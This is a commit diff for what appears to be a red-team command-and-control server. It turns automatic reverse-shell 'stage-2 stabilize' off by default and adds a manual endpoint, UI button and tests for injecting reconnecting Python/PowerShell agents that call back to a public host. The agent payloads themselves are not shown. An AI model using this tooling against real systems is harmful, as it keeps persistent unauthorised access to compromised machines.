feat: shell stabilize toggle (default off) + one-click Stabilize

- shell_auto_stabilize default false (config, features, env, compose)
- Runtime auto controlled by feature flag; Admin feature checkboxes
- POST /sessions/{id}/stabilize: OS auto-detect Linux/Windows stage-2
- Context rail Stabilize shell button
This commit is contained in:
Mr. The Plague
2026-08-03 16:06:01 -04:00
parent 2dc390bfc1
commit c8e1dd4651
11 changed files with 372 additions and 52 deletions
+1 -1
View File
@@ -18,7 +18,7 @@ SQUIDC5_SECURITY_HEADERS=true
# SQUIDC5_CORS_ORIGINS=["https://ops.example.mil"]
# Public callback host/IP for stage-2 implants (lab/prod). Example: 203.0.113.10
SQUIDC5_PUBLIC_HOST=
SQUIDC5_SHELL_AUTO_STABILIZE=true
SQUIDC5_SHELL_AUTO_STABILIZE=false
# Optional: set a known bootstrap admin token (otherwise auto-generated)
# SQUIDC5_ADMIN_TOKEN_BOOTSTRAP=sc5_your_secure_token_here
# Plugin HMAC signing secret (or auto-generated under data/plugin_signing.secret)
+1 -1
View File
@@ -41,7 +41,7 @@ Ops UI: `/ops` (admin UI loaded only after server-side admin token check)
| MCP external tools | **OFF** until settings/feature enable |
| Shell exec probe | **ON** |
| False-shell filter | **ON** |
| Auto stage-2 stabilize | **ON** |
| Auto stage-2 stabilize | **OFF** (manual Stabilize or feature flag) |
| Health details | **minimal** (`{"status":"ok"}`) |
| Security headers | **ON** (nosniff, DENY frame, CSP, no-store) |
| Admin ops UI | **server-gated** by admin scope |
+1 -1
View File
@@ -15,7 +15,7 @@ services:
# Secure-by-default: MCP off until explicitly needed
SQUIDC5_MCP_ENABLED: ${SQUIDC5_MCP_ENABLED:-false}
SQUIDC5_AI_ENABLED: ${SQUIDC5_AI_ENABLED:-true}
SQUIDC5_SHELL_AUTO_STABILIZE: ${SQUIDC5_SHELL_AUTO_STABILIZE:-true}
SQUIDC5_SHELL_AUTO_STABILIZE: ${SQUIDC5_SHELL_AUTO_STABILIZE:-false}
SQUIDC5_EXPOSE_HEALTH_DETAILS: ${SQUIDC5_EXPOSE_HEALTH_DETAILS:-false}
SQUIDC5_SECURITY_HEADERS: ${SQUIDC5_SECURITY_HEADERS:-true}
# Stage-2 reconnect callback host - set in .env (never commit real IPs)
+9 -1
View File
@@ -453,7 +453,15 @@ sc5 shell <session_id> "whoami"
### Why stage-2 stabilize
Raw reverse shells die on network blips and often lack a clean line protocol. Auto-stabilize injects a reconnecting agent (Linux Python / Windows PowerShell) that re-checks in to `SQUIDC5_PUBLIC_HOST:<port>` and supports reliable command execution. Stage-2 reconnects skip re-staging. Exec probe must pass or the session is dropped.
Raw reverse shells die on network blips and often lack a clean line protocol. Stage-2 injects a reconnecting agent (Linux Python / Windows PowerShell) that re-checks in to `SQUIDC5_PUBLIC_HOST:<port>` and supports reliable command execution. Stage-2 reconnects skip re-staging. Exec probe must pass or the session is dropped.
**Default: auto-stabilize is OFF.** Prefer one-shot **Stabilize shell** on the session context rail (detects Linux vs Windows). Enable auto via Admin → Features → *Auto stage-2 on reverse-shell capture*, or `SQUIDC5_SHELL_AUTO_STABILIZE=true`.
| Action | How |
|--------|-----|
| Manual stabilize | Ops → session → **Stabilize shell** → `POST /api/v1/sessions/{id}/stabilize` `{os:"auto"}` |
| Force OS | `{os:"linux"}` or `{os:"windows"}` |
| Auto on capture | Feature `shell_auto_stabilize` (default false) |
### Pitfalls
+1 -1
View File
@@ -13,7 +13,7 @@ Environment=SQUIDC5_DATA_DIR=/opt/squidc5/data
Environment=SQUIDC5_PUBLIC_HOST=
Environment=SQUIDC5_MCP_ENABLED=false
Environment=SQUIDC5_AI_ENABLED=true
Environment=SQUIDC5_SHELL_AUTO_STABILIZE=true
Environment=SQUIDC5_SHELL_AUTO_STABILIZE=false
Environment=SQUIDC5_EXPOSE_HEALTH_DETAILS=false
Environment=SQUIDC5_SECURITY_HEADERS=true
Environment=SQUIDC5_TLS_ENABLED=true
+54
View File
@@ -279,6 +279,12 @@ class ClaimRequest(BaseModel):
ttl_sec: int | None = None # override default claim TTL; 0 = no expiry
class StabilizeRequest(BaseModel):
"""One-shot stage-2. os: auto|linux|windows (default auto = probe)."""
os: str | None = "auto"
class PresenceHeartbeat(BaseModel):
status: str = "online"
viewing_session: str | None = None
@@ -1723,6 +1729,54 @@ def build_api_router() -> APIRouter:
raise HTTPException(404, result.get("error") or "No live reverse shell for session")
return result
@api.post("/sessions/{session_id}/stabilize")
async def stabilize_session(
session_id: str,
request: Request,
body: StabilizeRequest | None = None,
auth: AuthContext = Depends(require_scope("shell:interact", "sessions:write", "admin")),
) -> dict[str, Any]:
"""One-shot stage-2: detect Linux/Windows and inject reconnect agent."""
state = get_state(request)
decision = await state.policy.check_and_audit(
auth,
"shell.stabilize",
resource=session_id,
extra={"os": (body.os if body else None) or "auto"},
)
if not decision.allowed:
raise _policy_http_error(decision)
try:
await state.teams.assert_write_access(
session_id, auth.name, is_admin=auth.has_scope("admin")
)
except KeyError as e:
raise HTTPException(404, str(e)) from e
except PermissionError as e:
raise HTTPException(403, str(e)) from e
if not state.listeners.is_live(session_id):
raise HTTPException(
404,
"No live TCP channel — stabilize needs an open reverse shell",
)
os_hint = (body.os if body else None) or "auto"
if os_hint.strip().lower() in ("", "auto", "detect"):
os_hint = None
try:
result = await state.listeners.stabilize_session(
session_id,
os_hint=os_hint,
actor=auth.name,
delay=False,
)
except RuntimeError as e:
raise HTTPException(400, str(e)) from e
await state.metrics.emit(
"shell.stabilize.manual",
{"session_id": session_id, "actor": auth.name, "result": result.get("status")},
)
return result
@api.post("/shell/broadcast")
async def shell_broadcast(
request: Request,
+3 -2
View File
@@ -48,8 +48,9 @@ class Settings(BaseSettings):
# Implant beacon AEAD (ChaCha20-Poly1305). PSK auto-generated under data/implant_psk.txt
implant_psk: str | None = None
implant_require_auth: bool = True
# Reverse-shell auto-stabilization (stage-2 reconnect agents)
shell_auto_stabilize: bool = True
# Reverse-shell auto-stabilization (stage-2 reconnect agents). Default OFF —
# operators enable via feature flag or one-shot Stabilize on a session.
shell_auto_stabilize: bool = False
# Host/IP implants should call back to (defaults to request/local bind if empty)
public_host: str = ""
public_ip: str = "" # A-record for OAST DNS answers (SQUIDC5_PUBLIC_IP)
+2 -2
View File
@@ -11,7 +11,7 @@ from squidc5.db.store import Database
DEFAULT_FEATURES: dict[str, bool] = {
"ai_enabled": True,
"mcp_enabled": False, # external AI off until explicitly enabled
"shell_auto_stabilize": True,
"shell_auto_stabilize": False, # manual Stabilize preferred; enable for auto stage-2
"shell_exec_probe": True,
"shell_broadcast": True,
"false_shell_filter": True,
@@ -33,7 +33,7 @@ DEFAULT_FEATURES: dict[str, bool] = {
FEATURE_LABELS: dict[str, str] = {
"ai_enabled": "Admin AI (LLM capabilities)",
"mcp_enabled": "External MCP tools",
"shell_auto_stabilize": "Reverse-shell auto stage-2",
"shell_auto_stabilize": "Auto stage-2 on reverse-shell capture (default OFF)",
"shell_exec_probe": "Shell exec verification / zombie drop",
"shell_broadcast": "Shell broadcast to all verified",
"false_shell_filter": "TLS/HTTP false-shell filter",
+138 -40
View File
@@ -465,20 +465,20 @@ class ListenerManager:
out_task = asyncio.create_task(pump_out())
stabilize_task: asyncio.Task[None] | None = None
# Feature flags (optional; default on when unset)
do_stabilize = self.auto_stabilize
# Auto-stabilize: feature flag is the runtime switch (seeded from settings default OFF)
do_stabilize = bool(self.auto_stabilize)
do_probe = True
do_filter = True
if self.feature_check is not None:
try:
do_stabilize = do_stabilize and await self.feature_check("shell_auto_stabilize")
do_stabilize = bool(await self.feature_check("shell_auto_stabilize"))
do_probe = await self.feature_check("shell_exec_probe")
do_filter = await self.feature_check("false_shell_filter")
except Exception:
pass
if kind == "reverse_shell" and do_stabilize:
stabilize_task = asyncio.create_task(
self._auto_stabilize(sid, cb_host, cb_port),
self._stabilize_session(sid, cb_host, cb_port, delay=True),
name=f"stabilize-{sid}",
)
# Verify channel can execute - drop echo-only zombies
@@ -586,63 +586,149 @@ class ListenerManager:
except Exception:
pass
async def _auto_stabilize(self, session_id: str, host: str, port: int) -> None:
"""Probe OS then inject platform stage-2 reconnect agent."""
async def resolve_callback(self, session_id: str) -> tuple[str, int]:
"""Public host + listener port for stage-2 reconnect."""
writer = self._writers.get(session_id)
if writer is None:
raise RuntimeError("session has no live TCP channel")
srow = await self.db.get_session(session_id)
listener_port = 0
if srow and srow.get("listener_id"):
lrow = await self.db.get_listener(str(srow["listener_id"]))
if lrow:
listener_port = int(lrow["port"] or 0)
return self._callback_host_port(writer, listener_port)
async def stabilize_session(
self,
session_id: str,
*,
os_hint: str | None = None,
actor: str = "operator",
delay: bool = False,
) -> dict[str, Any]:
"""Operator one-shot: probe OS (or use hint) and inject Win/Linux stage-2."""
if not self.is_live(session_id):
raise RuntimeError("session is not a live reverse shell")
host, port = await self.resolve_callback(session_id)
return await self._stabilize_session(
session_id,
host,
port,
os_hint=os_hint,
actor=actor,
delay=delay,
reject_on_noise=False,
)
async def _stabilize_session(
self,
session_id: str,
host: str,
port: int,
*,
os_hint: str | None = None,
actor: str = "system",
delay: bool = True,
reject_on_noise: bool = True,
) -> dict[str, Any]:
"""Probe OS then inject platform stage-2 reconnect agent (Linux/Windows)."""
try:
await asyncio.sleep(self.stabilize_delay_sec)
if delay:
await asyncio.sleep(self.stabilize_delay_sec)
if session_id in self._rejected:
return
return {"status": "rejected", "session_id": session_id}
early = "".join(self._shell_buffers.get(session_id, [])[-10:])
if early:
v = classify_inbound(early)
if not v.is_shell and v.confidence >= 0.8:
await self._reject_session(session_id, v.reason, "stabilize-early")
return
if reject_on_noise:
await self._reject_session(session_id, v.reason, "stabilize-early")
return {"status": "rejected", "reason": v.reason, "session_id": session_id}
return {"status": "error", "reason": v.reason, "session_id": session_id}
if "SC5_STABLE" in early:
log.info("Session %s already stable (banner) - skip re-stage", session_id)
await self.db.update_session(
session_id,
metadata={"stabilized": True, "stage2": True, "stable_banner": True},
)
row = await self.db.get_session(session_id)
existing: dict[str, Any] = {}
if row and row.get("metadata"):
try:
existing = (
json.loads(row["metadata"])
if isinstance(row["metadata"], str)
else dict(row["metadata"])
)
except (json.JSONDecodeError, TypeError):
existing = {}
existing.update({"stabilized": True, "stage2": True, "stable_banner": True})
await self.db.update_session(session_id, metadata=existing)
await self.metrics.emit(
"shell.stabilize.skip",
{"session_id": session_id, "reason": "already_stable"},
)
return
return {
"status": "already_stable",
"session_id": session_id,
"callback": f"{host}:{port}",
}
stabilizer = ShellStabilizer(host, port)
await asyncio.sleep(0.3)
if delay:
await asyncio.sleep(0.3)
if session_id in self._rejected:
return
probe = stabilizer.probe_command()
await self.send_shell(session_id, probe)
await asyncio.sleep(self.probe_wait_sec)
if session_id in self._rejected:
return
return {"status": "rejected", "session_id": session_id}
blob = "".join(self._shell_buffers.get(session_id, [])[-20:])
if blob:
v = classify_inbound(blob)
if not v.is_shell and v.confidence >= 0.8:
await self._reject_session(session_id, v.reason, "stabilize-probe")
return
hint = (os_hint or "").strip().lower()
family = "unknown"
if hint in ("linux", "unix", "posix"):
family = "linux"
elif hint in ("windows", "win", "win32"):
family = "windows"
else:
probe = stabilizer.probe_command()
await self.send_shell(session_id, probe)
await asyncio.sleep(self.probe_wait_sec)
if session_id in self._rejected:
return {"status": "rejected", "session_id": session_id}
if "SC5_STABLE" in blob:
log.info("Session %s became stable during probe - skip", session_id)
return
blob = "".join(self._shell_buffers.get(session_id, [])[-20:])
if blob:
v = classify_inbound(blob)
if not v.is_shell and v.confidence >= 0.8:
if reject_on_noise:
await self._reject_session(session_id, v.reason, "stabilize-probe")
return {"status": "rejected", "reason": v.reason, "session_id": session_id}
return {"status": "error", "reason": v.reason, "session_id": session_id}
if "SC5_STABLE" in blob:
log.info("Session %s became stable during probe - skip", session_id)
return {
"status": "already_stable",
"session_id": session_id,
"callback": f"{host}:{port}",
}
family = detect_os(blob)
# Prefer session os_info when probe is ambiguous
if family == "unknown":
srow = await self.db.get_session(session_id)
oi = ((srow or {}).get("os_info") or "").lower()
if "win" in oi:
family = "windows"
elif "linux" in oi or "unix" in oi or "darwin" in oi:
family = "linux"
family = detect_os(blob)
plan = stabilizer.plan(family)
log.info(
"Stabilizing session %s as %s via %s (callback %s:%s)",
"Stabilizing session %s as %s via %s (callback %s:%s) actor=%s",
session_id,
plan.os_family,
plan.method,
host,
port,
actor,
)
await self.metrics.emit(
"shell.stabilize.start",
@@ -651,12 +737,13 @@ class ListenerManager:
"os": plan.os_family,
"method": plan.method,
"callback": f"{host}:{port}",
"actor": actor,
},
)
for cmd in plan.commands:
if session_id in self._rejected:
return
return {"status": "rejected", "session_id": session_id}
ok = await self.send_shell(session_id, cmd)
if not ok:
break
@@ -664,15 +751,17 @@ class ListenerManager:
meta = {
"stabilized": True,
"stage2": True,
"stabilize_os": plan.os_family,
"stabilize_method": plan.method,
"stabilize_callback": f"{host}:{port}",
"stabilize_notes": plan.notes,
"stabilize_actor": actor,
}
row = await self.db.get_session(session_id)
if not row:
return
existing: dict[str, Any] = {}
return {"status": "error", "reason": "session_gone", "session_id": session_id}
existing = {}
if row.get("metadata"):
try:
existing = (
@@ -693,18 +782,27 @@ class ListenerManager:
{"session_id": session_id, "os": plan.os_family, "method": plan.method},
)
await self.db.audit(
actor="system",
actor_type="system",
actor=actor,
actor_type="operator" if actor != "system" else "system",
action="shell.stabilize",
resource=session_id,
details=meta,
risk_score=4,
)
return {
"status": "stabilized",
"session_id": session_id,
"os": plan.os_family,
"method": plan.method,
"callback": f"{host}:{port}",
"notes": plan.notes,
}
except asyncio.CancelledError:
raise
except Exception:
log.exception("Auto-stabilize failed for %s", session_id)
except Exception as e:
log.exception("Stabilize failed for %s", session_id)
await self.metrics.emit("shell.stabilize.error", {"session_id": session_id})
raise RuntimeError(str(e) or "stabilize failed") from e
def is_live(self, session_id: str) -> bool:
"""True only while a TCP reverse-shell channel is attached in this process."""
+90
View File
@@ -0,0 +1,90 @@
"""Manual shell stabilize API + auto-stabilize default OFF."""
from __future__ import annotations
import pytest
from httpx import ASGITransport, AsyncClient
from squidc5.config import Settings
from squidc5.features import DEFAULT_FEATURES
from squidc5.main import create_app
from squidc5.shells.stabilize import ShellStabilizer, detect_os
ADMIN = "sc5_test_admin_token_bootstrap_stab01"
def test_defaults_auto_stabilize_off(tmp_path):
assert DEFAULT_FEATURES.get("shell_auto_stabilize") is False
s = Settings(
data_dir=tmp_path / "sc5-stab-cfg",
debug=True,
mcp_enabled=False,
plugin_signing_secret="x" * 32,
)
assert s.shell_auto_stabilize is False
def test_detect_os_and_plans():
assert detect_os("Linux ubuntu 5.15") == "linux"
assert detect_os("Microsoft Windows [Version 10.0]") == "windows"
st = ShellStabilizer("10.0.0.1", 443)
assert "python" in st.plan("linux").method.lower() or "stage2" in st.plan("linux").method.lower()
assert "power" in st.plan("windows").method.lower() or "stage2" in st.plan("windows").method.lower()
assert st.plan("linux").commands
assert st.plan("windows").commands
@pytest.mark.asyncio
async def test_stabilize_requires_live_channel(tmp_path):
settings = Settings(
data_dir=tmp_path / "stab1",
debug=True,
mcp_enabled=False,
admin_token_bootstrap=ADMIN,
plugin_signing_secret="test-plugin-signing-secret-for-ci",
implant_require_auth=False,
rate_limit_per_minute=2000,
shell_auto_stabilize=False,
)
app = create_app(settings)
async with app.router.lifespan_context(app):
transport = ASGITransport(app=app)
async with AsyncClient(transport=transport, base_url="http://test") as client:
h = {"Authorization": f"Bearer {ADMIN}"}
# default feature flag off
feat = await client.get("/api/v1/features", headers=h)
assert feat.status_code == 200
assert feat.json()["features"]["shell_auto_stabilize"] is False
sid = await app.state.app_state.sessions.register(
kind="reverse_shell",
remote_addr="10.1.2.3:4444",
)
r = await client.post(
f"/api/v1/sessions/{sid}/stabilize",
headers=h,
json={"os": "auto"},
)
assert r.status_code == 404
assert "live" in r.json()["detail"].lower()
@pytest.mark.asyncio
async def test_ops_ui_stabilize_marker(tmp_path):
settings = Settings(
data_dir=tmp_path / "stab2",
debug=True,
mcp_enabled=False,
admin_token_bootstrap=ADMIN,
plugin_signing_secret="test-plugin-signing-secret-for-ci",
rate_limit_per_minute=2000,
)
app = create_app(settings)
async with app.router.lifespan_context(app):
transport = ASGITransport(app=app)
async with AsyncClient(transport=transport, base_url="http://test") as client:
h = {"Authorization": f"Bearer {ADMIN}"}
js = (await client.get("/api/v1/ops/admin.js", headers=h)).text
assert "ctxStabilize" in js
assert "/stabilize" in js
assert "adFeatSave" in js
+72 -3
View File
@@ -483,6 +483,24 @@
showOk("Spectator snapshot");
} catch (e) { showError(String(e.message || e)); }
};
if (el("ctxStabilize")) el("ctxStabilize").onclick = async () => {
if (!selectedId) return;
if (!confirm("Inject stage-2 stabilize agent? Detects Linux vs Windows and reconnects a durable channel.")) return;
try {
const r = await api(
"POST",
`/api/v1/sessions/${encodeURIComponent(selectedId)}/stabilize`,
{ os: "auto" },
);
showOk(r.status === "already_stable" ? "Already stable" : ("Stabilized as " + (r.os || "?")));
if (el("ctxOut")) {
el("ctxOut").textContent = JSON.stringify(r, null, 2);
el("ctxOut").classList.remove("empty");
}
if (window.__SC5_refresh) await window.__SC5_refresh();
renderContext(true);
} catch (e) { showError(String(e.message || e)); }
};
if (el("ctxRun")) el("ctxRun").onclick = async () => {
const command = (el("ctxCmd").value || "").trim();
if (!command) return showError("Command required");
@@ -563,6 +581,10 @@
${can("sessions:read") ? '<button type="button" class="ghost" id="ctxSpectate">Spectate</button>' : ""}
</div>
${shellOk ? `
<div class="row" style="margin-top:8px">
<button type="button" class="primary" id="ctxStabilize" title="Detect Linux/Windows and inject stage-2 reconnect agent">Stabilize shell</button>
</div>
<p class="muted" style="font-size:0.68rem;margin:4px 0 8px">Injects OS-aware stage-2 (Python/PowerShell). Auto-stabilize is OFF by default — Admin → Features.</p>
<label for="ctxCmd">Shell command</label>
<textarea id="ctxCmd" rows="2" placeholder="whoami"></textarea>
<div class="row"><button type="button" class="primary" id="ctxRun">Run</button></div>
@@ -1996,9 +2018,12 @@
<div class="wp-body">
<div class="row">
<button type="button" id="adPolGet">Get policy</button>
<button type="button" id="adFeat">Features</button>
<button type="button" id="adFeat">Reload features</button>
<button type="button" class="primary" id="adFeatSave">Save features</button>
</div>
<div class="outbox empty" id="adOut" style="max-height:min(420px,50vh);flex:1">-</div>
<p class="muted" style="font-size:0.72rem;margin:8px 0">Runtime switches. <strong>Auto stage-2</strong> defaults OFF — use session <em>Stabilize shell</em> for one-shot.</p>
<div id="adFeatGrid" class="scope-grid" style="max-height:min(360px,45vh)"></div>
<div class="outbox empty" id="adOut" style="max-height:min(280px,35vh);flex:1">-</div>
</div>
</div>
</div>
@@ -2436,7 +2461,51 @@
} catch (e) { showError(String(e.message || e)); }
};
if (el("adPolGet")) el("adPolGet").onclick = () => dump("/api/v1/policy");
if (el("adFeat")) el("adFeat").onclick = () => dump("/api/v1/features");
async function loadFeatureToggles() {
const grid = el("adFeatGrid");
if (!grid) return;
try {
const r = await api("GET", "/api/v1/features");
const feats = r.features || r || {};
const labelBy = {};
(r.catalog || []).forEach((c) => {
if (c && c.key) labelBy[c.key] = c.label || c.key;
});
const keys = Object.keys(feats).sort();
grid.innerHTML = keys.map((k) => {
const lab = labelBy[k] || k;
const on = !!feats[k];
const locked = k === "public_docs";
return `<label title="${esc(k)}">
<input type="checkbox" class="ad-feat" data-feat="${esc(k)}" ${on ? "checked" : ""} ${locked ? "disabled" : ""} />
<span>${esc(lab)}</span>
</label>`;
}).join("") || '<span class="muted">No features</span>';
if (el("adOut")) {
el("adOut").classList.remove("empty");
el("adOut").textContent = JSON.stringify({ features: feats }, null, 2);
}
} catch (e) { showError(String(e.message || e)); }
}
if (el("adFeat")) el("adFeat").onclick = () => loadFeatureToggles();
if (el("adFeatSave")) el("adFeatSave").onclick = async () => {
const features = {};
document.querySelectorAll("input.ad-feat").forEach((inp) => {
const k = inp.getAttribute("data-feat");
if (k && !inp.disabled) features[k] = !!inp.checked;
});
try {
const r = await api("PUT", "/api/v1/features", { features });
showOk("Features saved");
if (el("adOut")) {
el("adOut").classList.remove("empty");
el("adOut").textContent = JSON.stringify(r, null, 2);
}
await loadFeatureToggles();
} catch (e) { showError(String(e.message || e)); }
};
// Load feature grid when admin view builds
loadFeatureToggles();
}